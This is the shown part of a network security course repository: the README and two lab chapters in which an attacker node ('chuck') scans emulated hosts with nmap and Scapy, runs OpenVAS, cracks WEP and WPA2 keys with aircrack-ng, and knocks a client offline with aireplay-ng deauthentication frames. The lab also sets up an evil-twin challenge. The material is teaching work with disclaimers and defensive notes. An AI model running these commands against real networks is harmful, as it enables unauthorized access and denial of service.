├── README.md
├── chapter3.md
├── chapter5.md
├── chapter4.md
├── chapter6.md
├── chapter2.md
└── chapter1.md
/README.md:
--------------------------------------------------------------------------------
1 | # Hands-On Network Security Practice
2 |
3 | ## Summary
4 |
5 | This document provides a comprehensive overview of **network security concepts, tools, and attack methodologies**. It begins with the preparation of the environment and system auditing, followed by techniques to secure communication and control network traffic.
6 |
7 | The material explores essential mechanisms for network protection, including firewalls, packet filtering, proxies, and VPNs. It then delves into network discovery, scanning techniques, and vulnerability assessment tools such as OpenVAS. The practical sections emphasize traffic capture and manipulation, covering methods like ARP spoofing, eavesdropping, and denial-of-service attacks, along with the implementation and analysis of intrusion detection and prevention systems (IDS/IPS).
8 |
9 | Further topics address wireless network security, focusing on WEP cracking, authentication protocols, and common Wi-Fi attacks such as deauthentication and evil twin exploits. Finally, the guide examines exploitation and post-exploitation techniques, highlighting tools and methods including Metasploit, SQL injection, brute-force attacks, and cross-site scripting (XSS).
10 |
11 | Collectively, these topics provide a comprehensive foundation for understanding, applying, and securing network infrastructures through both offensive and defensive cybersecurity practices.
12 | ## Disclaimer
13 |
14 | Some of the operations described in this document are illegal and may lead to criminal or civil prosecution. The purpose of this document is to present these actions (and the associated tools) for educational purposes only. Readers are strongly advised to attempt any attacks only on virtual nodes created using the Mininet-WiFi emulator or on systems for which they have explicit authorization. The author of this document disclaims any responsibility for actions taken by participants that violate this policy or applicable law.
15 |
16 |
17 | ## Note
18 |
19 | Most of the examples here are fully reproducible, though you may find a few harder to follow - I developed this material while teaching and sometimes filled gaps live during class. I welcome contributions to complete and clarify any missing parts. If you spot an issue or want to improve an example, please contribute!
20 |
21 | ## Table of Contents
22 |
23 | ---
24 |
25 | - [Environment Setup and Basic Concepts](chapter1.md#environment-setup-and-basic-concepts)
26 | - [Preparing the Environment](chapter1.md#preparing-the-environment)
27 | - [System Auditing](chapter1.md#system-auditing)
28 | - [Communication Security](chapter1.md#communication-security)
29 | - [VPN](chapter1.md#vpn)
30 | - [SSH](chapter1.md#ssh)
31 | - [IPSEC](chapter1.md#ipsec)
32 | - [Network Control and Protection](chapter2.md#network-control-and-protection)
33 | - [Firewall](chapter2.md#firewall)
34 | - [Packet Filter](chapter2.md#packet-filter)
35 | - [Personal Firewall](chapter2.md#personal-firewall)
36 | - [Stateless Packet Filter](chapter2.md#stateless-packet-filter)
37 | - [Stateful Packet Filter](chapter2.md#stateful-packet-filter)
38 | - [Proxy](chapter2.md#proxy)
39 | - [Discovery and Network Mapping](chapter3.md#discovery-and-network-mapping)
40 | - [Network Scanning](chapter3.md#network-scanning)
41 | - [Port Scanning](chapter3.md#port-scanning)
42 | - [Port Scanning with Scapy](chapter3.md#port-scanning-with-scapy)
43 | - [OpenVAS](chapter3.md#openvas)
44 | - [Network Traffic Capture and Manipulation](chapter4.md#network-traffic-capture-and-manipulation)
45 | - [ARP Spoofing](chapter4.md#arp-spoofing)
46 | - [Passive Eavesdropping Attack](chapter4.md#passive-eavesdropping-attack)
47 | - [TCP Session Hijacking](chapter4.md#tcp-session-hijacking)
48 | - [Denial of Service](chapter4.md#denial-of-service)
49 | - [TCP SYN Flood](chapter4.md#tcp-syn-flood)
50 | - [IDS/IPS](chapter4.md#idsips)
51 | - [Wireless Network Security](chapter5.md#wireless-network-security)
52 | - [Cracking WEP Wi-Fi Encryption](chapter5.md#cracking-wep-wi-fi-encryption)
53 | - [Dictionary Attack](chapter5.md#dictionary-attack)
54 | - [IEEE 802.11x Authentication](chapter5.md#ieee-80211x-authentication)
55 | - [Deauthentication Attack](chapter5.md#deauthentication-attack)
56 | - [Evil Twin Attack](chapter5.md#evil-twin-attack)
57 | - [Exploitation and Post-Exploitation](chapter6.md#exploitation-and-post-exploitation)
58 | - [Metasploit Framework](chapter6.md#metasploit-framework)
59 | - [Backdoors](chapter6.md#backdoors)
60 | - [Extracting Database Information](chapter6.md#extracting-database-information)
61 | - [Gaining Shell Access](chapter6.md#gaining-shell-access)
62 | - [Brute Force](chapter6.md#brute-force)
63 | - [SQL Injection](chapter6.md#sql-injection)
64 | - [XSS Attack](chapter6.md#xss-attack)
65 |
--------------------------------------------------------------------------------
/chapter3.md:
--------------------------------------------------------------------------------
1 |
2 | # Discovery and Network Mapping
3 |
4 | Obtaining information about network nodes involves identifying and mapping connected devices, their services and potential vulnerabilities, a common step in security audits and penetration tests.
5 |
6 | Below we explore fundamental techniques and tools for gathering information about network nodes, essential to understanding the infrastructure and locating possible weak points. We start with network scanning, which detects connected devices and maps topology. Then we cover port scanning, used to discover active services and potential entry points. Finally, we introduce OpenVAS, a powerful vulnerability-scanning platform that automates analysis and produces detailed risk reports.
7 |
8 |
9 | ## Network Scanning
10 |
11 | The goal of network scanning is to collect information about a given network. In practice, the first task is to determine which nodes on the network are active and which are not. Once active hosts are identified, further information can be gathered about them to reveal security weaknesses.
12 |
13 | A suite of techniques known as network fingerprinting can be used to discover the remote host’s operating system. This technique relies on the fact that different operating systems (e.g., Windows and Linux) implement the TCP/IP stack in different ways. The program Nmap is a powerful and easy-to-use network scanner that can fingerprint the OS of a remote host. For a general description of the program, consult the manual with man nmap.
14 |
15 | Start a network topology with 2 hosts (alice and chuck) and 1 switch using the script below, and open the terminals for hosts alice and chuck.
16 |
17 | ```
18 | #!/usr/bin/python
19 |
20 | '''@author: Ramon Fontes
21 | @email: ramon.fontes@imd.ufrn.br'''
22 |
23 | import os
24 |
25 | from containernet.net import Containernet
26 | from containernet.cli import CLI
27 | from mininet.log import info, setLogLevel
28 |
29 |
30 | def topology():
31 | "Create a network."
32 | DISPLAY_ID = 0
33 | net = Containernet(ipBase='10.200.0.0/24')
34 |
35 | os.system('sudo xhost +local:docker')
36 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
37 |
38 | info("*** Creating nodes\n")
39 | s1 = net.addSwitch('s1', failMode="standalone")
40 | alice1 = net.addDocker('alice', dimage="ramonfontes/seguranca", cpu_shares=20,
41 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
42 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
43 | mac='00:00:00:00:00:01')
44 | chuck1 = net.addDocker('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
45 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
46 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
47 | mac='00:00:00:00:00:02')
48 |
49 | info("*** Creating Links\n")
50 | net.addLink(s1, alice1)
51 | net.addLink(s1, chuck1)
52 |
53 | info("*** Starting network\n")
54 | net.build()
55 | s1.start([])
56 |
57 | alice1.cmd("echo \'10.200.0.1 alice\' > /etc/hosts && service apache2 start")
58 |
59 | info("*** Running CLI\n")
60 | CLI(net)
61 |
62 | info("*** Stopping network\n")
63 | net.stop()
64 |
65 |
66 | if __name__ == '__main__':
67 | setLogLevel('info')
68 | topology()
69 | ```
70 |
71 | **Note**: if any Python code does not run correctly, run sudo mn -c to clean up failed Mininet runs. This command will, among other things, automatically remove containers created during execution.
72 |
73 | - Alice (the victim) starts the Apache2 web server on port 80 (the default HTTP port).
74 | - Chuck (the attacker) attempts to establish a TCP connection (-sT) to port 80 (-p 80) on Alice in order to fingerprint the operating system (-O):
75 |
76 | ```
77 | chuck# nmap -sT -p 80 -O -v 10.200.0.1
78 | ```
79 |
80 | Examine the information collected in the output.
81 |
82 |
83 |
84 | ## Port Scanning
85 |
86 | After discovering a target host, an attacker typically tries to determine which services (applications) are actually running on that host. The technique known as Port Scanning is used for this purpose. A port‑scanning tool can be used to find out which ports on a given host are open (listening for incoming connections) and which are closed.
87 |
88 | When using such a tool you can also determine, for each port:
89 |
90 | - the standard service name (if any) associated with that port (for example, http or ssh),
91 | - the port number,
92 | - the port state (open, closed, filtered by a firewall or packet filter, or unfiltered), and
93 | - the protocol (typically TCP or UDP).
94 |
95 |
96 | For this exercise you have to start the same network topology from the previous exercise and open terminals for hosts alice and chuck.
97 |
98 | Alice (the victim), who already has the HTTP service running, also starts and enables the SSH service and verifies that only the services she selected are active by running:
99 |
100 | ```
101 | alice# netstat -ltu
102 | ```
103 |
104 | Chuck (the attacker) starts Wireshark and then performs a TCP port scan (-sT) of the first 1024 ports on Alice:
105 |
106 | ```
107 | chuck# nmap -sT -Pn -p 1-1024 -v 10.200.0.1
108 | ```
109 |
110 | - The -Pn option prevents Nmap from pinging the target host first. By default, Nmap may skip a host if it does not respond to ping. Some hosts are configured not to reply to ICMP echo requests to resist simple discovery techniques — -Pn forces Nmap to scan the host regardless.
111 |
112 | In Wireshark you will see all the TCP probes (and their replies) used to scan the selected port range.
113 |
114 | **Note**: in Wireshark you should capture on the interface whose name contains the node name and eth0, for example chuck-eth0.
115 |
116 | Alice then chooses two services again (HTTP and SSH) but this time changes their default ports before starting them.
117 |
118 | Chuck runs the same TCP port scan command again. This time, the basic scan output is not able to identify services correctly when they run on non‑standard ports.
119 |
120 | To correctly identify services even when they run on non‑standard ports, run service/version detection:
121 |
122 | ```
123 | chuck# nmap -sV -Pn -p 1-1024 -v 10.200.0.1
124 | ```
125 |
126 | - The -sV option instructs Nmap to probe open ports and attempt to determine the actual service and version running on each port (banner grabbing, protocol probes, etc.).
127 |
128 |
129 | #### Defensive mechanisms
130 |
131 | Different countermeasures can help defend against port‑scanning operations:
132 |
133 | - Firewalls (packet filters) to block or limit scan traffic.
134 | - Network Address Translation (NAT) to hide internal addressing and topology.
135 | - Intrusion Detection Systems (IDS) to detect scanning patterns and alert or react.
136 | - Authenticated access to services so only authorized clients can use sensitive services.
137 |
138 |
139 |
140 | ### Port Scanning with Scapy
141 |
142 | Scapy is a powerful Python library for crafting, sending and sniffing network packets. It’s widely used for security testing, protocol analysis, fuzzing, and custom scanners.
143 |
144 | Features:
145 |
146 | - Create & send packets for many protocols (IP, TCP, UDP, ICMP, etc.).
147 | - Capture (sniff) and analyze traffic in real time.
148 | - Perform custom port scans, banner grabs, and protocol probes.
149 | - Simulate attacks (e.g., DoS) for resilience testing — only on authorized targets.
150 |
151 | **Important**: Scapy requires root privileges to send/receive raw packets (e.g., sudo python3 script.py). Only scan systems you own or are authorized to test.
152 |
153 | #### Scapy Project Example: Network Scanning
154 |
155 | Here's a simple example of a port scanning project:
156 |
157 | ```
158 | from scapy.all import *
159 |
160 | def port_scan(target_ip, port_range, iface="eth0"):
161 | for port in range(1, port_range + 1):
162 | pkt = IP(dst=target_ip) / TCP(dport=port, flags='S')
163 | response = sr1(pkt, timeout=1, verbose=0, iface=iface)
164 | if response and response.haslayer(TCP) and response.getlayer(TCP).flags == 0x12:
165 | print(f"Port {port} is open on {target_ip}")
166 | elif response and response.getlayer(TCP).flags == 0x14:
167 | print(f"Port {port} is closed on {target_ip}")
168 | # Usage: Scan ports 1-30 on '192.168.1.1'
169 | port_scan('192.168.1.1', 30, iface="eth0")
170 | ```
171 |
172 | Below is a simple example of network traffic capture and analysis, filtering packets based on specific protocols. Packet sniffing is essential for monitoring and diagnosing network traffic.
173 |
174 | ```
175 | from scapy.all import *
176 |
177 | def packet_callback(packet):
178 | if packet.haslayer(IP):
179 | ip_layer = packet.getlayer(IP)
180 | print(f"Source: {ip_layer.src}, Destination: {ip_layer.dst}")
181 | if packet.haslayer(TCP):
182 | tcp_layer = packet.getlayer(TCP)
183 | print(f"TCP Port: {tcp_layer.sport} -> {tcp_layer.dport}")
184 |
185 | # Captura pacotes TCP na interface especificada
186 | sniff(filter="tcp", prn=packet_callback, count=10, iface="eth0")
187 |
188 | ```
189 |
190 |
191 |
192 |
193 | ## OpenVAS
194 |
195 | OpenVAS (Open Vulnerability Assessment System) is an open‑source vulnerability scanning tool used to identify security flaws in systems, networks, and applications. It is part of Greenbone Vulnerability Management (GVM), which also includes components for report management, authentication, and integrations.
196 |
197 | OpenVAS performs active network scans that simulate attacker behavior to find vulnerabilities. It begins by discovering which hosts and services are active, identifies running software versions, and checks for known flaws using an extensive vulnerability test feed (NVT feed). During a scan you can set the target (an IP, domain, or network range) and choose a scanning policy (quick, full, or custom) depending on your needs. After the scan finishes, OpenVAS produces a detailed report that lists discovered vulnerabilities by severity and suggests remediation and mitigation steps for each finding.
198 |
199 | For this exercise you have to start a network topology with 2 hosts (alice and chuck) and 1 switch using the script below. After running the script, a window for host chuck will open and execute an OpenVAS startup script. Allow approximately 1 minute for OpenVAS to finish initializing before starting scans.
200 |
201 | ```
202 | #!/usr/bin/python
203 |
204 | '''@author: Ramon Fontes
205 | @email: ramon.fontes@imd.ufrn.br'''
206 |
207 | import os
208 |
209 | from containernet.net import Containernet
210 | from containernet.cli import CLI
211 | from containernet.term import makeTerm
212 | from mininet.log import info, setLogLevel
213 |
214 |
215 | def topology():
216 | "Create a network."
217 | DISPLAY_ID = 0
218 | net = Containernet(ipBase='10.200.0.0/24')
219 |
220 | os.system('sudo xhost +local:docker')
221 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
222 |
223 | info("*** Creating nodes\n")
224 | s1 = net.addSwitch('s1', failMode="standalone")
225 | alice1 = net.addDocker('alice', dimage="ramonfontes/seguranca", cpu_shares=20,
226 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
227 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
228 | mac='00:00:00:00:00:01')
229 | chuck1 = net.addDocker('chuck', dimage="ramonfontes/openvas", cpu_shares=20,
230 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw', 'openvas:/data'],
231 | environment={'DISPLAY':":{}".format(DISPLAY_ID), 'PASSWORD': "seg"},
232 | mac='00:00:00:00:00:02')
233 |
234 | info("*** Creating Links\n")
235 | net.addLink(s1, alice1)
236 | net.addLink(s1, chuck1)
237 |
238 | info("*** Starting network\n")
239 | net.build()
240 | s1.start([])
241 |
242 | makeTerm(chuck1, cmd="bash -c '/scripts/start.sh'")
243 |
244 | info("*** Running CLI\n")
245 | CLI(net)
246 |
247 | info("*** Stopping network\n")
248 | net.stop()
249 |
250 |
251 | if __name__ == '__main__':
252 | setLogLevel('info')
253 | topology()
254 | ```
255 |
256 | Open a terminal on chuck and start Firefox:
257 |
258 | ```
259 | chuck# firefox
260 | ```
261 |
262 | In Firefox, open the OpenVAS web interface at:
263 |
264 | ```
265 | http://:9392
266 | ```
267 |
268 | If OpenVAS has finished starting, a login/dashboard page should load. Allow roughly 1 minute after the OpenVAS startup script finishes for the service to become fully available.
269 |
270 | After opening the OpenVAS web interface, log in with (the credentials are set in the topology script for this exercise).:
271 |
272 | - Username: admin
273 | - Password: seg
274 |
275 |
276 | ## References
277 |
278 | - https://nmap.org/book/
279 | - https://www.openvas.org/
280 | - De Vivo, Marco, et al. "A review of port scanning techniques." ACM SIGCOMM Computer Communication Review 29.2 (1999): 41-48.
281 |
--------------------------------------------------------------------------------
/chapter5.md:
--------------------------------------------------------------------------------
1 |
2 | # Wireless Network Security
3 |
4 |
5 | ## Cracking WEP Wi-Fi Encryption
6 |
7 | Cracking WEP Wi-Fi Encryption is an attack aimed at breaking the security key of the WEP (Wired Equivalent Privacy) protocol, which uses encryption based on the RC4 algorithm. Although created to protect wireless networks, WEP has serious flaws, such as the use of short and predictable initialization vectors (IVs) and the lack of adequate mechanisms to prevent packet replay. These vulnerabilities allow an attacker to capture a large number of packets transmitted over the network and, using specific tools, analyze the repeated IVs to derive the encryption key in a few minutes. Once the key is obtained, the attacker can access the network, intercept data, and even alter traffic. Mitigating this type of attack involves replacing WEP with more secure protocols, such as WPA2 or WPA3, and adopting strong passwords to make brute-force attacks more difficult.
8 |
9 | For this exercise, consider running the code below and opening terminals for Alice and Bob.
10 |
11 | ```
12 | #!/usr/bin/python
13 |
14 | '''@author: Ramon Fontes
15 | @email: ramon.fontes@imd.ufrn.br'''
16 |
17 | import os
18 |
19 | from containernet.net import Containernet
20 | from containernet.node import DockerSta
21 | from containernet.cli import CLI
22 | from mininet.log import info, setLogLevel
23 |
24 |
25 | def topology():
26 | "Create a network."
27 | DISPLAY_ID = 0
28 | net = Containernet(ipBase='10.200.0.0/24')
29 |
30 | os.system('sudo xhost +local:docker')
31 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
32 |
33 | info("*** Creating nodes\n")
34 | alice1 = net.addStation('alice', dimage="ramonfontes/seguranca", cpu_shares=20,
35 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
36 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
37 | passwd='123456789a', encrypt='wep', cls=DockerSta,
38 | mac='00:00:00:00:00:01')
39 | bob1 = net.addStation('bob', dimage="ramonfontes/seguranca", cpu_shares=20,
40 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
41 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
42 | passwd='123456789a', encrypt='wep', cls=DockerSta,
43 | mac='00:00:00:00:00:02')
44 | chuck1 = net.addStation('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
45 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
46 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
47 | passwd='1234567891a', encrypt='wep', cls=DockerSta,
48 | mac='00:00:00:00:00:03')
49 | ap1 = net.addAccessPoint('ap1', ssid="simplewifi", mode="g", channel="1",
50 | passwd='123456789a', encrypt='wep',
51 | failMode="standalone", datapath='user',
52 | mac='00:00:00:00:00:04')
53 |
54 | info("*** Configuring wifi nodes\n")
55 | net.configureWifiNodes()
56 |
57 | info("*** Associating Stations\n")
58 | net.addLink(alice1, ap1)
59 | net.addLink(bob1, ap1)
60 | net.addLink(chuck1, ap1)
61 |
62 | info("*** Starting network\n")
63 | net.build()
64 | ap1.start([])
65 |
66 | info("*** Running CLI\n")
67 | CLI(net)
68 |
69 | info("*** Stopping network\n")
70 | net.stop()
71 |
72 |
73 | if __name__ == '__main__':
74 | setLogLevel('info')
75 | topology()
76 | ```
77 |
78 | **Note**: You may need to stop the network-manager service for Wi-Fi-reliant code to work. You can confirm whether this is necessary by running a network scan from any client (e.g., alice). If Alice is not connected to the AP and a scan (e.g., iw dev alice-wlan0 scan) failed to identify AP1, you'll need to stop network-manager (e.g., sudo service network-manager stop) before running the code. Be careful, stopping network-manager may interrupt your connection to your router. Therefore, you may want to start network-manager (e.g., sudo service network-manager start) after completing the activity.
79 |
80 | After running the code, create a monitor-type interface for Chuck, as shown below.
81 |
82 | ```
83 | chuck# iw dev chuck-wlan0 interface add mon0 type monitor
84 | chuck# ifconfig mon0 up
85 | ```
86 |
87 | Next, we'll begin using airodump to capture packets from other wireless devices, allowing the software to perform calculations and comparisons between the data to break the insecure WEP protocol. To do so, enter the following command in Chuck's terminal:
88 |
89 | ```
90 | chuck# airodump-ng mon0
91 | ```
92 |
93 | and observe the output.
94 |
95 | Now, it's time to instruct the wireless interface to start storing captured wireless data based on the network of choice. Remember to incorporate three important pieces of information from the previous output with the following command:
96 |
97 | ```
98 | chuck# airodump-ng -w simplewifi -c 1 --bssid 00:00:00:00:00:04 mon0
99 | ```
100 | and observe the output.
101 |
102 | **Note**: Here you need to generate some traffic between Alice and Bob. It is recommended to use iperf.
103 |
104 | Last but not least, you'll need to perform the most important step of the process using the data captured from the WEP device. To do so, issue the following command:
105 |
106 | ```
107 | chuck# aircrack-ng simplewifi-01.cap
108 | ```
109 |
110 | If everything goes as planned, you'll be able to crack the WEP system. However, if the command fails, you'll have to wait for the wireless card to capture more data. Wait until it captures 15,000 packets and try again.
111 |
112 |
113 |
114 | ## Dictionary Attack
115 |
116 |
117 | A dictionary attack is a method used to discover passwords or access keys by systematically trying previously known combinations stored in a file called a "dictionary." Unlike a brute-force attack, which tests all possible combinations, a dictionary attack is limited to words, phrases, variations, and common patterns used by users, making it faster and more efficient in many cases. This type of attack exploits people's habit of choosing simple or predictable passwords, such as names, dates, or popular terms. Automated tools perform these attempts quickly, and if the password is present in the dictionary, access is gained. Prevention involves using long, complex, and unique passwords that combine uppercase and lowercase letters, numbers, and special characters, as well as implementing mechanisms such as temporary lockout after multiple attempts and multifactor authentication to reduce the risk of compromise.
118 |
119 | For this exercise, consider running the code below and opening terminals for Alice and Chuck.
120 |
121 | ```
122 | #!/usr/bin/python
123 |
124 | '''@author: Ramon Fontes
125 | @email: ramon.fontes@imd.ufrn.br'''
126 |
127 | import os
128 |
129 | from containernet.net import Containernet
130 | from containernet.node import DockerSta
131 | from containernet.cli import CLI
132 | from mininet.log import info, setLogLevel
133 |
134 |
135 | def topology():
136 | "Create a network."
137 | DISPLAY_ID = 0
138 | net = Containernet(ipBase='10.200.0.0/24')
139 |
140 | os.system('sudo xhost +local:docker')
141 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
142 |
143 | info("*** Creating nodes\n")
144 | ap1 = net.addAccessPoint('ap1', ssid="simplewifi", mode="g", channel="1",
145 | passwd='123456789a', encrypt='wpa2',
146 | failMode="standalone", datapath='user',
147 | mac='02:00:00:00:02:00')
148 | alice1 = net.addStation('alice', dimage="ramonfontes/seguranca", cpu_shares=20,
149 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
150 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
151 | passwd='123456789a', encrypt='wpa2', cls=DockerSta,
152 | mac='02:00:00:00:02:01')
153 | chuck1 = net.addStation('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
154 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
155 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
156 | passwd='1234567890a', encrypt='wpa2', cls=DockerSta,
157 | mac='02:00:00:00:02:02')
158 |
159 | info("*** Configuring wifi nodes\n")
160 | net.configureWifiNodes()
161 |
162 | info("*** Associating Stations\n")
163 | net.addLink(alice1, ap1)
164 | net.addLink(chuck1, ap1)
165 |
166 | info("*** Starting network\n")
167 | net.build()
168 | ap1.start([])
169 |
170 | info("*** Running CLI\n")
171 | CLI(net)
172 |
173 | info("*** Stopping network\n")
174 | net.stop()
175 |
176 |
177 | if __name__ == '__main__':
178 | setLogLevel('info')
179 | topology()
180 | ```
181 |
182 | Running the above code should automatically connect Alice to AP1, while Chuck, lacking knowledge of the correct WPA key, should not connect. However, since Chuck wants to perform a dictionary attack, he must perform a few steps.
183 |
184 | The first involves creating the monitor interface.
185 |
186 | ```
187 | chuck# airmon-ng start chuck-wlan0
188 | ```
189 |
190 | It will then use airodump-ng to capture beacons on the newly created network interface:
191 |
192 | ```
193 | chuck# airodump-ng chuck-wlan0mon
194 | ```
195 |
196 | Running the airodump will be useful for identifying Alice's MAC address and the BSSID of the AP to which Alice is connected. The SSID can serve as a backup.
197 |
198 | Once you've identified Alice's BSSID and MAC, stop the airodump and drop Alice's connection so Chuck can capture the 4-way handshake:
199 |
200 | ```
201 | chuck# iwconfig chuck-wlan0mon channel 1
202 | chuck# aireplay-ng -0 100 -a 02:00:00:00:02:00 -c 02:00:00:00:02:01 chuck-wlan0mon --ignore-negative-one
203 | ```
204 |
205 | And in a new Chuck terminal, start saving capture data to a capture file named .
206 |
207 | ```
208 | chuck# airodump-ng --bssid 02:00:00:00:02:00 chuck-wlan0mon -w my-capture
209 | ```
210 |
211 | Now, stop the aireplay attack and create a file called file.psk containing the following content:
212 |
213 | ```
214 | 123456789a
215 | abcdefgh
216 | 0011223344
217 | ```
218 |
219 |
220 | Then stop airodump and run the command below:
221 |
222 | ```
223 | chuck# aircrack-ng -w arquivo.psk -b 02:00:00:00:02:00 my-capture-01.cap
224 | ```
225 |
226 |
227 | And voila! Password has been discovered!
228 | ```
229 | Aircrack-ng 1.6
230 |
231 | [00:00:00] 3/3 keys tested (63.70 k/s)
232 |
233 | Time left: --
234 |
235 | KEY FOUND! [ 123456789a ]
236 |
237 |
238 | Master Key : E0 3D DC 8E 51 FB 0A 35 A6 EE 6D DF 9B 6B 69 EB
239 | E8 C0 7B D2 50 95 63 A7 26 43 DD B2 0F 46 E6 21
240 |
241 | Transient Key : 55 6C 6D AA 5D B2 DC E6 C3 FB 38 59 C8 B4 5D B3
242 | 1E 3B AB 48 81 8E 94 AB 50 94 9E 25 61 8D D4 F0
243 | B9 1E 4F 3C 9C 84 48 3D 8B 09 86 1D 98 31 23 57
244 | 4B 03 8F B4 86 8F 8D A4 59 CD 30 2D 71 D7 AF 18
245 |
246 | EAPOL HMAC : C1 3D 58 9D 02 CB 03 4A FC 3D 44 96 FF 2D 5D 79
247 | ```
248 |
249 |
250 |
251 | ## IEEE 80211x Authentication
252 |
253 | IEEE 802.11x authentication can be performed by following the instructions here. 802.11x authentication is optional and, according to the instructions, will not be performed using the containers available in this material. Although this item is not incorporated into the containers, your instructor recommends reproducing it so you understand how this authentication method can be configured.
254 |
255 |
256 | ## Deauthentication Attack
257 |
258 | A deauthentication attack is an active attack on Wi-Fi networks based on the exploitation of IEEE 802.11 protocol management frames, which are not cryptographically protected. In this attack, the attacker sends fake deauthentication frames to the client or access point, pretending to be the legitimate source. As a result, the client is forced to disconnect and initiate a new authentication process. This type of attack can be used both to cause a denial of service, preventing devices from accessing the network, and as an auxiliary step in more advanced attacks, such as capturing the WPA/WPA2 handshake, necessary for password cracking attempts.
259 |
260 | In practice, a deauthentication attack is carried out by exploiting the fact that deauth and disassociation management frames on Wi-Fi networks are generally not protected by encryption (except in newer networks that use 802.11w – Protected Management Frames). The attacker, in monitor mode with a compatible network card, can capture network packets and then inject spoofed deauthentication frames to force clients to disconnect. Widely used tools in this context are aireplay-ng (from the Aircrack-ng package), which allows sending targeted deauthentication packets to specific or all clients on a network, and mdk4, which automates deauthentication attacks and other variations of management attacks.
261 |
262 | The basic attack flow is as follows:
263 | - The attacker puts the Wi-Fi interface in monitor mode.
264 | - He identifies the access point (BSSID) and connected clients.
265 | - He then send spoofed deauthentication packets, impersonating the access point or client.
266 | - The target device disconnects and often reconnects immediately, which can be exploited to capture the WPA/WPA2 handshake.
267 |
268 | This attack is simple but very effective on networks without management frame protection, and can be used both for denial of service and as a preparatory step for password cracking attacks.
269 |
270 | For this exercise, consider running the code below and open terminals for Alice and Chuck.
271 |
272 | ```
273 | #!/usr/bin/python
274 |
275 | '''@author: Ramon Fontes
276 | @email: ramon.fontes@imd.ufrn.br'''
277 |
278 | import os
279 |
280 | from containernet.net import Containernet
281 | from containernet.node import DockerSta
282 | from containernet.cli import CLI
283 | from mininet.log import info, setLogLevel
284 |
285 |
286 | def topology():
287 | "Create a network."
288 | DISPLAY_ID = 0
289 | net = Containernet(ipBase='10.200.0.0/24')
290 |
291 | os.system('sudo xhost +local:docker')
292 | os.system('export DISPLAY=:{}'.format(DISPLAY_ID))
293 |
294 | info("*** Creating nodes\n")
295 | ap1 = net.addAccessPoint('ap1', ssid="simplewifi", mode="g", channel="1",
296 | passwd='123456789a', encrypt='wpa2',
297 | failMode="standalone", datapath='user',
298 | mac='02:00:00:00:02:00')
299 | alice1 = net.addStation('alice', dimage="ramonfontes/seguranca", cpu_shares=20,
300 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
301 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
302 | passwd='123456789a', encrypt='wpa2', cls=DockerSta,
303 | mac='02:00:00:00:02:01')
304 | chuck1 = net.addStation('chuck', dimage="ramonfontes/seguranca", cpu_shares=20,
305 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
306 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
307 | cls=DockerSta, mac='02:00:00:00:02:02')
308 |
309 | info("*** Configuring wifi nodes\n")
310 | net.configureWifiNodes()
311 |
312 | info("*** Associating Stations\n")
313 | net.addLink(alice1, ap1)
314 | net.addLink(chuck1, ap1)
315 |
316 | info("*** Starting network\n")
317 | net.build()
318 | ap1.start([])
319 |
320 | info("*** Running CLI\n")
321 | CLI(net)
322 |
323 | info("*** Stopping network\n")
324 | net.stop()
325 |
326 |
327 | if __name__ == '__main__':
328 | setLogLevel('info')
329 | topology()
330 | ```
331 |
332 | Then perform the deauthentication attack from chuck as follows:
333 |
334 | ```
335 | chuck# aireplay-ng -0 0 -a 02:00:00:00:02:00 -c 02:00:00:00:02:01 chuck-wlan0
336 | ```
337 |
338 | And check if Alice is connected to the access point:
339 | ```
340 | chuck# iwconfig
341 | lo no wireless extensions.
342 |
343 | eth0 no wireless extensions.
344 |
345 | alice-wlan0 IEEE 802.11 ESSID:off/any
346 | Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
347 | Retry short limit:7 RTS thr:off Fragment thr:off
348 | Encryption key:off
349 | Power Management:off
350 | ```
351 |
352 | As you can see, Alice is no longer connected to the access point, indicating that the attack was successful.
353 |
354 |
355 | ## Evil-twin Attack
356 |
357 | An Evil Twin Attack involves creating a fake access point with the same network name (SSID) as the legitimate AP, often emitting a stronger signal to attract automatic user connections. Once connected, the attacker can capture credentials, inject malicious content, or redirect the victim to fake pages (phishing). The consequences include theft of passwords and sensitive information, data interception through sniffing techniques, and even the distribution of malware. To prevent this, it is recommended to manually verify the access point before connecting, use a VPN to encrypt traffic, enable strong authentication such as WPA3, and monitor the network with rogue AP detection tools.
358 |
359 | ### Challenge: Evil Twin Attack
360 |
361 | Attack Script: Attacker Chuck has access to all network information on the victim access point AP1 (including the password). Therefore, a client victim, Alice, is chosen, and Chuck must disable this victim's connection to AP1. The page the victim will access when connecting to AP2 is a fictitious page with a form that can be used to capture Alice's information. Use the code below as a reference. Don't forget to answer how this attack can be prevented.
362 |
363 | Consider the following additional information:
364 | - The code already starts the web server on AP2.
365 | - In a well-configured environment, it would not be necessary to define port 80. Any website would be redirected to the page shown above, even if it were an HTTPS page. Here, make sure, at the very least, that the file in AP2, located at /var/www/html/dbconnect.php, has the value set for the $host variable to the same IP as AP2's eth0 port. Otherwise, you will need to make modifications for the MySQL server to function properly.
